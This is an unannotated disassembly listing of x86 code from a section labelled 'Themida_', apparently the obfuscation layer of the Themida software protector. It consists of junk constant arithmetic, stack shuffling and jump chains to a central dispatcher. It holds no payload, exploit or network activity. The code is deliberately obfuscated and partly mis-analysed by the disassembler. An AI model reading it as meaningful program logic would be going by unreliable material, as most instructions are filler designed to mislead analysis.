		xchg	edx, [esp]
		pop	esp
		add	al, 84h
		push	edx
		jmp	loc_583D7A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58A0DA
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	esi
		jmp	loc_58B760
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B465:				; CODE XREF: sub_585452+3BC6j
		sub	eax, 1EC20E30h
		pop	edi
		jmp	loc_58C3C0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B470:				; CODE XREF: Themida_:005843B2j
		mov	[esp], ebp
		push	eax
		push	11C52B2Fh
		mov	eax, [esp]
		add	esp, 4
		or	eax, 4BDD675Bh
		shl	eax, 5
		jmp	loc_584669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B48F:				; CODE XREF: sub_585452-12A6j
		add	ah, 0E2h
		sub	ah, 0E4h
		add	bl, ah
		mov	eax, [esp-8+arg_4]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		sub	bl, 0A6h
		add	bl, al
		sub	esp, 4
		jmp	loc_58B76F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58832B


loc_58B4BD:				; CODE XREF: sub_58832B+Fj
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		btc	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58832B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B4CF:				; CODE XREF: sub_585452-54Bj
		add	al, 79h
		sub	al, dh
		sub	al, 79h
		sub	al, 0EEh
		pop	edx
		jmp	loc_5863E3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B4DD:				; CODE XREF: Themida_:0058700Bj
		push	1242h
		mov	[esp], edi
		push	edx
		mov	edx, 33CB06DDh
		mov	edi, edx
		pop	edx
		and	ecx, edi
		pop	edi
		sub	ecx, 6974507Bh
		jmp	loc_584982
; ---------------------------------------------------------------------------


loc_58B4FC:				; CODE XREF: Themida_:0058DAB8j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		push	55AF768Ah
		pop	ebx
		shr	ebx, 5
		sub	ebx, 2AD7BB2h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_584807
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


loc_58B536:				; CODE XREF: sub_58E761-692Aj
		mov	[esp+0], esi
		jmp	loc_586748
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B53E:				; CODE XREF: sub_585452+9DFDj
		push	edx
		mov	dl, 0A8h
		inc	dl
		xor	dl, 0A0h
		and	bl, dl
		pop	edx
		push	eax
		mov	ah, 0FEh
		jmp	loc_58DD86
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58896A
; ---------------------------------------------------------------------------


loc_58B568:				; CODE XREF: Themida_:005879EEj
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_5873DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_58B589:				; CODE XREF: sub_58DA2E-5BDDj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_589F74
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B59D:				; CODE XREF: sub_585452-2AFj
		push	cx
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58B5A5:				; CODE XREF: sub_58C230+14j
		pop	ebp
		pop	[esp-0Ch+arg_8]
		push	esi
		mov	esi, 4
		jmp	loc_58ED45
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B5B4:				; CODE XREF: sub_585452+7BC2j
		neg	ebx
		sub	ebx, 137A62FDh
		xor	ebx, 3385493Ah
		add	ebx, 0F7B45696h
		add	eax, ebx
		jmp	loc_5870A9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B5CF:				; CODE XREF: Themida_:00583E70j
		mov	[esp], ebx
		mov	ebx, 29CA4F9Fh
		xor	ebx, 271A0D4Bh
		add	ebx, 47D57197h
		not	ebx
		dec	ebx
		inc	ebx
		push	edi
		mov	edi, 36BF47EFh
		not	edi
		not	edi
		xor	edi, 601AF381h
		add	ebx, edi
		pop	edi
		mov	esi, ebx
		pop	ebx
		sub	edx, 11465CEDh
		jmp	loc_584F5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B608:				; CODE XREF: sub_585452+13EBj
		mov	esp, [esp+46h+var_48+2]
		mov	[esp+46h+var_48+2], eax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58B622:				; CODE XREF: sub_58F728-9258j
		pop	edx
		jmp	loc_587101
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B628:				; CODE XREF: sub_585452+32C1j
		sub	ebx, 2D268C8h
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		push	esi
		mov	esi, 76875F14h
		push	edx
		mov	edx, 2B77741h
		and	edx, 3FB178F7h
		sub	edx, 8C2A1131h
		sub	esi, edx
		pop	edx
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp-0Ch+arg_8]
		jmp	loc_585F80
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58B65A:				; CODE XREF: sub_58FA66-7A9Dj
		pop	ecx
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_58C5B1
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D9


loc_58B666:				; CODE XREF: sub_58D7D9+8j
		add	ebp, 4
		push	0Bh
		mov	[esp+8+var_8], esi
		push	ecx
		jmp	loc_589CE1
; END OF FUNCTION CHUNK	FOR sub_58D7D9
; ---------------------------------------------------------------------------


loc_58B67A:				; CODE XREF: Themida_:0058B8BBj
		mov	[esp], ebx
		push	22A9h
		jmp	loc_584A81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B687:				; CODE XREF: sub_585452+72EAj
		mov	ebx, 7F7E36B7h
		xor	edx, ebx
		pop	ebx
		jmp	loc_585BA8
; ---------------------------------------------------------------------------


loc_58B694:				; CODE XREF: sub_585452+86C6j
		push	54326A9Dh
		pop	esi
		sub	esi, 52151001h
		mov	eax, esi
		pop	esi
		jmp	loc_58AD22
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B6A8:				; CODE XREF: Themida_:0058FADFj
		pop	eax
		inc	dh
		xor	dh, 0D1h
		jmp	loc_583D12
; ---------------------------------------------------------------------------


loc_58B6B3:				; CODE XREF: Themida_:00588AD0j
		sub	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_583C74
; ---------------------------------------------------------------------------


loc_58B6C6:				; CODE XREF: Themida_:0058BD14j
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_58E107
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_589E8B
; ---------------------------------------------------------------------------


loc_58B6DA:				; CODE XREF: Themida_:0058A094j
		xchg	ebp, ecx
		jmp	loc_585EC6
; ---------------------------------------------------------------------------


loc_58B6E1:				; CODE XREF: Themida_:005880C3j
		push	4C97h
		mov	[esp], edx
		push	5B25h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_58DF65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587E93


loc_58B701:				; CODE XREF: sub_587E93+3j
		add	bl, 92h
		jmp	loc_5853B3
; END OF FUNCTION CHUNK	FOR sub_587E93
; ---------------------------------------------------------------------------


loc_58B709:				; CODE XREF: Themida_:0058CA7Cj
		mov	[esp], ebp
		push	edi
		mov	edi, 76A68EBh
		neg	edi
		jmp	loc_58EEAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B719:				; CODE XREF: sub_585452+760Cj
		add	al, 78h
		sub	al, bh
		push	ebx
		mov	bl, 0C4h
		and	bl, 0C7h
		sub	bl, 62h
		dec	bl
		sub	bl, 68h
		jmp	loc_58F45D
; ---------------------------------------------------------------------------


loc_58B730:				; CODE XREF: sub_585452+7BD4j
		pop	ebp
		push	ebx
		push	esi
		mov	esi, 3CB73CE8h
		sub	esi, 44CB6590h
		add	esi, 375357F7h
		shr	esi, 2
		add	esi, 78AD0122h
		sub	esi, 52F16DA6h
		jmp	loc_58D71E
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58B758	proc near		; CODE XREF: sub_585452-130Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00586516 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00586E6F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00587034 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AC2E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058CCEB SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058ECE2 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_58AC2E
sub_58B758	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58B760:				; CODE XREF: Themida_:0058B460j
		mov	esi, esp
		push	7278h
		mov	[esp], ebx
		jmp	loc_585B9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B76F:				; CODE XREF: sub_585452+6066j
		mov	[esp-4+arg_0], eax
		jmp	loc_58CEF6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A26F


loc_58B777:				; CODE XREF: sub_58A26F+B37j
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_58A70F
; END OF FUNCTION CHUNK	FOR sub_58A26F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5877DD


loc_58B77F:				; CODE XREF: sub_5877DD+1j
		push	esi
		push	21C10B67h
		pop	esi
		dec	esi
		add	esi, 0E16DF8ACh
		mov	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, ebx
		jmp	loc_589142
; END OF FUNCTION CHUNK	FOR sub_5877DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B798:				; CODE XREF: sub_585452-14j
		push	eax
		mov	eax, 221F2199h
		add	eax, 0FFFFFFFFh
		shr	eax, 7
		dec	eax
		shl	eax, 5
		jmp	loc_588706
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B7AD:				; CODE XREF: Themida_:00584BC5j
		mov	bh, 77h
		jmp	loc_5879BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B7B4:				; CODE XREF: sub_585452+1B3Dj
		add	edi, 32A5290h
		mov	ebx, edi
		pop	edi
		inc	ebx
		or	ebx, 5838245Eh
		shr	ebx, 2
		xor	ebx, 3BC99895h
		xor	edi, ebx
		jmp	loc_5891A5
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B7D4:				; CODE XREF: Themida_:0058F8BAj
		xor	[esp], bp
		jmp	loc_58F07C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B7DD:				; CODE XREF: sub_585452+5C4Ej
		mov	edi, 0B71E67FAh
		add	edi, 66A73E54h
		sub	edi, ecx
		jmp	$+5
		sub	edi, 66A73E54h
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		sub	edi, 50272036h
		jmp	loc_58DAEE
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B809:				; CODE XREF: Themida_:0058E198j
		xor	ebp, ebx
		pop	ebx
		sub	ebp, 0D5ACFD92h
		and	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 606083ECh
		add	esi, ecx
		jmp	loc_58FDF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58B82A:				; CODE XREF: sub_58C230-70Aj
		add	esi, 27EA21C5h
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		push	dword ptr [esp+0]
		jmp	loc_58C2C6
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B83E:				; CODE XREF: sub_585452+22DCj
		add	edi, 4
		xchg	edi, [esp-14h+arg_E+2]
		pop	esp
		add	esp, 4
		and	al, dh
		jmp	loc_58B9CC
; ---------------------------------------------------------------------------


loc_58B852:				; CODE XREF: sub_585452+5F75j
		neg	ecx
		neg	ecx
		xor	ecx, 7D772896h
		add	ebx, ecx
		jmp	loc_58413D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58B863:				; CODE XREF: sub_58F728-7EA3j
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, esp
		push	ebx
		push	edx
		jmp	loc_5864C4
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B86F:				; CODE XREF: sub_585452-7Fj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58D72E
; ---------------------------------------------------------------------------


loc_58B87F:				; CODE XREF: sub_585452+1ECFj
		pop	esi
		sub	ecx, 4
		xor	ecx, [esp-0Ah+arg_4+2]
		xor	[esp-0Ah+arg_4+2], ecx
		xor	ecx, [esp-0Ah+arg_4+2]
		pop	esp
		jmp	loc_587E06
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B895:				; CODE XREF: Themida_:00589A54j
		add	edi, 4
		jmp	loc_58F9FD
; ---------------------------------------------------------------------------


loc_58B89D:				; CODE XREF: Themida_:0058CB2Aj
		mov	ch, al
		jmp	loc_58EDBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_583D6F


loc_58B8A4:				; CODE XREF: sub_583D6F+39D8j
		mov	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		jmp	loc_58D2E1
; END OF FUNCTION CHUNK	FOR sub_583D6F
; ---------------------------------------------------------------------------


loc_58B8AF:				; CODE XREF: Themida_:0058DEF0j
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58B67A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5862E8


loc_58B8C0:				; CODE XREF: sub_5862E8+58BEj
		pop	ebp
		jmp	loc_588CDE
; END OF FUNCTION CHUNK	FOR sub_5862E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_58B8C6:				; CODE XREF: sub_58EA34+7j
		add	[esp+8+var_8], 4
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		jmp	loc_586188
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------


loc_58B8E2:				; CODE XREF: Themida_:0058D920j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58B8E7:				; CODE XREF: Themida_:005894F7j
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_584B3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B8FC:				; CODE XREF: sub_585452+9DD0j
		mov	eax, 218B2C4Eh
		neg	eax
		add	eax, 47DE4ABEh
		or	eax, 6766087Fh
		jmp	loc_58DF29
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B912:				; CODE XREF: Themida_:00588624j
		pop	edi
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_584621
; ---------------------------------------------------------------------------


loc_58B91E:				; CODE XREF: Themida_:00584A43j
		xor	esi, ebx
		pop	ebx
		mov	edi, esi
		pop	esi
		or	edi, 5CFD39F8h
		and	edi, 59DA7E9Fh
		push	ecx
		push	edx
		jmp	loc_58FB61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B937:				; CODE XREF: sub_585452+7931j
		push	edx
		jmp	loc_586C13
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58B93D:				; CODE XREF: sub_58FA66-5AFj
		sub	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_58FC66
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58B948:				; CODE XREF: Themida_:0058CBCCj
		pop	ebx
		jmp	loc_58A734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58B94E:				; CODE XREF: sub_58EFBD-4848j
		push	esi
		mov	esi, 1E053585h
		xor	esi, 1E0535ADh
		mov	ebx, esi
		pop	esi
		jmp	loc_58EB41
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58B962:				; CODE XREF: Themida_:00584837j
		xor	dh, 0E2h
		sub	al, 0A8h
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], dx
		mov	dl, 56h
		add	al, dl
		jmp	loc_58D400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B984:				; CODE XREF: sub_585452+1EA2j
		xor	edx, 20000015h
		mov	edi, edx
		pop	edx
		add	ebp, edi
		jmp	loc_585C4C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B994:				; CODE XREF: Themida_:0058769Bj
		push	edx
		mov	edx, 0D8D483F0h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, ecx
		pop	ecx
		jmp	loc_58F05A
; ---------------------------------------------------------------------------


loc_58B9AA:				; CODE XREF: Themida_:00584B66j
		mov	eax, esi
		pop	esi
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58D02B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586A34


loc_58B9C7:				; CODE XREF: sub_586A34+179Ej
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_586A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58B9CC:				; CODE XREF: sub_585452+63FBj
		pop	edx
		push	1470h
		mov	[esp-1Ch+arg_16+2], ebp
		mov	ebp, esp
		push	73A2h
		mov	[esp-18h+arg_12+2], eax
		mov	eax, 18635002h
		xor	eax, 48E255F5h
		jmp	loc_58EF9E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58B9EE:				; CODE XREF: Themida_:0058D35Cj
		push	ebp
		mov	ebp, esp
		jmp	loc_586C4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_58B9F6:				; CODE XREF: sub_58A170+3B86j
		not	ch
		shl	ch, 8
		push	edx
		jmp	loc_586769
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_58BA01:				; CODE XREF: Themida_:0058ACBBj
		add	eax, 11783C18h
		sub	eax, esi
		jmp	loc_5853E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BA0D:				; CODE XREF: sub_585452+87F0j
		pop	ebx
		push	edi
		mov	edi, 2
		add	eax, edi
		mov	edi, [esp-18h+arg_12+2]
		add	esp, 4
		jmp	loc_58C9FA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58A6D2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_58FE80
; ---------------------------------------------------------------------------


loc_58BA39:				; CODE XREF: Themida_:00586D2Cj
		pop	esp
		jmp	loc_589B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BA3F:				; CODE XREF: sub_585452+2E22j
		add	esp, 4
		push	0
		push	[esp-8+arg_4]
		pop	ebx
		push	ecx
		push	esp
		mov	ecx, [esp+0]
		add	esp, 4
		push	3351h
		mov	[esp+0], edx
		mov	edx, 7DC0786Eh
		add	edx, 0FFFFFFFFh
		sub	edx, 7DC07869h
		add	ecx, edx
		pop	edx
		jmp	loc_58CADA
; ---------------------------------------------------------------------------


loc_58BA71:				; CODE XREF: sub_585452+1583j
		push	400h
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp+0]
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	esi
		push	esp
		jmp	loc_588BD8
; ---------------------------------------------------------------------------


loc_58BA8F:				; CODE XREF: sub_585452+52FCj
		sub	ebp, 1C640B50h
		add	ebp, esi
		add	ebp, 1C640B50h
		mov	esi, [esp+0Ah+var_C+2]
		jmp	loc_589298
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BAA5:				; CODE XREF: Themida_:0058A2B4j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58BABA:				; CODE XREF: sub_58F728-6452j
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_587BF4
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_58BAC8:				; CODE XREF: Themida_:0058EFECj
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 2E62h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_58BAE3:				; CODE XREF: sub_589FD5+21j
		sub	edi, esi
		jmp	loc_5876D8
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BAEA:				; CODE XREF: sub_585452+7A25j
		add	eax, ebx
		jmp	loc_5853CF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58BAF1:				; CODE XREF: Themida_:0058E637j
		mov	bl, cl
		jmp	loc_585884
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58BAF8:				; CODE XREF: sub_58C230-296Dj
		pop	ebx
		sub	ebx, 1
		add	ebx, 51F83076h
		xor	ebx, 0B2B238BCh
		mov	ecx, ebx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		add	esi, 7F0335h
		add	esi, ecx
		push	eax
		mov	eax, 7F0335h
		sub	esi, 27EA21C5h
		sub	esi, eax
		jmp	loc_58B82A
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_58BB2B:				; CODE XREF: Themida_:00584AD1j
		mov	ecx, ebp
		pop	ebp
		neg	ecx
		sub	ecx, 7F8D06DCh
		sub	ecx, 18482F7Ch
		xor	ecx, 0F8CEA548h
		add	ebp, ecx
		jmp	loc_58D1B1

; =============== S U B	R O U T	I N E =======================================



sub_58BB49	proc near		; CODE XREF: sub_585452+280j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00584714 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005872A1 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005888D5 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 27221851h
		add	[esp+8], ebp
		pop	ebp
		add	[esp+4], edx
		sub	dword ptr [esp+4], 27221851h
		jmp	loc_584714
sub_58BB49	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58BB65:				; CODE XREF: Themida_:005875FCj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_589520
; ---------------------------------------------------------------------------


loc_58BB71:				; CODE XREF: Themida_:0058EEE5j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 2
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BB9A:				; CODE XREF: sub_585452+2B60j
		sub	edx, eax
		mov	eax, [esp+0]
		jmp	loc_5869B2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5862E8


loc_58BBA4:				; CODE XREF: sub_5862E8+62C4j
		add	eax, ebp
		jmp	loc_58B8C0
; END OF FUNCTION CHUNK	FOR sub_5862E8
; ---------------------------------------------------------------------------


loc_58BBAB:				; CODE XREF: Themida_:00584F86j
		sub	eax, 441F0B51h
		add	eax, 399D4BF9h
		add	eax, edi
		jmp	loc_583D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BBBC:				; CODE XREF: sub_585452+45ABj
		xchg	dl, ch
		inc	dl
		xchg	dl, ch
		push	bx
		mov	bh, 58h
		add	ch, bh
		jmp	loc_58FA43
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 2
		jmp	loc_58BD5E
; ---------------------------------------------------------------------------


loc_58BBDB:				; CODE XREF: Themida_:0058AB13j
		push	ebp
		jmp	loc_58B20C
; ---------------------------------------------------------------------------


loc_58BBE1:				; CODE XREF: Themida_:005842BEj
		mov	[esp], edx
		jmp	loc_58F89C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BBE9:				; CODE XREF: sub_585452+2DBDj
		mov	eax, [esp+32h+var_34+2]
		sub	esp, 4
		mov	[esp+36h+var_38+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+36h+var_38+2]
		pop	esp
		add	ebp, 2
		xchg	ebp, [esp+32h+var_34+2]
		pop	esp
		jmp	loc_5865BD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_58BC16:				; CODE XREF: sub_58BE98-40B1j
		add	edi, 1
		jmp	loc_58F3B6
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------


loc_58BC1E:				; CODE XREF: Themida_:0058FB93j
		and	ecx, 361B338Eh
		dec	ecx
		jmp	loc_5867A1
; ---------------------------------------------------------------------------


loc_58BC2A:				; CODE XREF: Themida_:00584B1Dj
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_588034
; ---------------------------------------------------------------------------


loc_58BC36:				; CODE XREF: Themida_:00588409j
		pop	esp
		jmp	loc_58EF5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58BC3C:				; CODE XREF: sub_585452+411Cj
		push	15CCh
		mov	[esp+3Eh+var_40+2], edi
		push	17252D2Bh
		jmp	loc_58EC33
; ---------------------------------------------------------------------------


loc_58BC4E:				; CODE XREF: sub_585452+8ADCj
		add	ebx, eax
		mov	eax, [esp+42h+var_44+2]
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58BC61:				; CODE XREF: sub_585452-648j
		xchg	esi, [esp-22h+arg_1E]
		pop	esp
		push	dword ptr [esp+0]
		pop	ecx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_586073
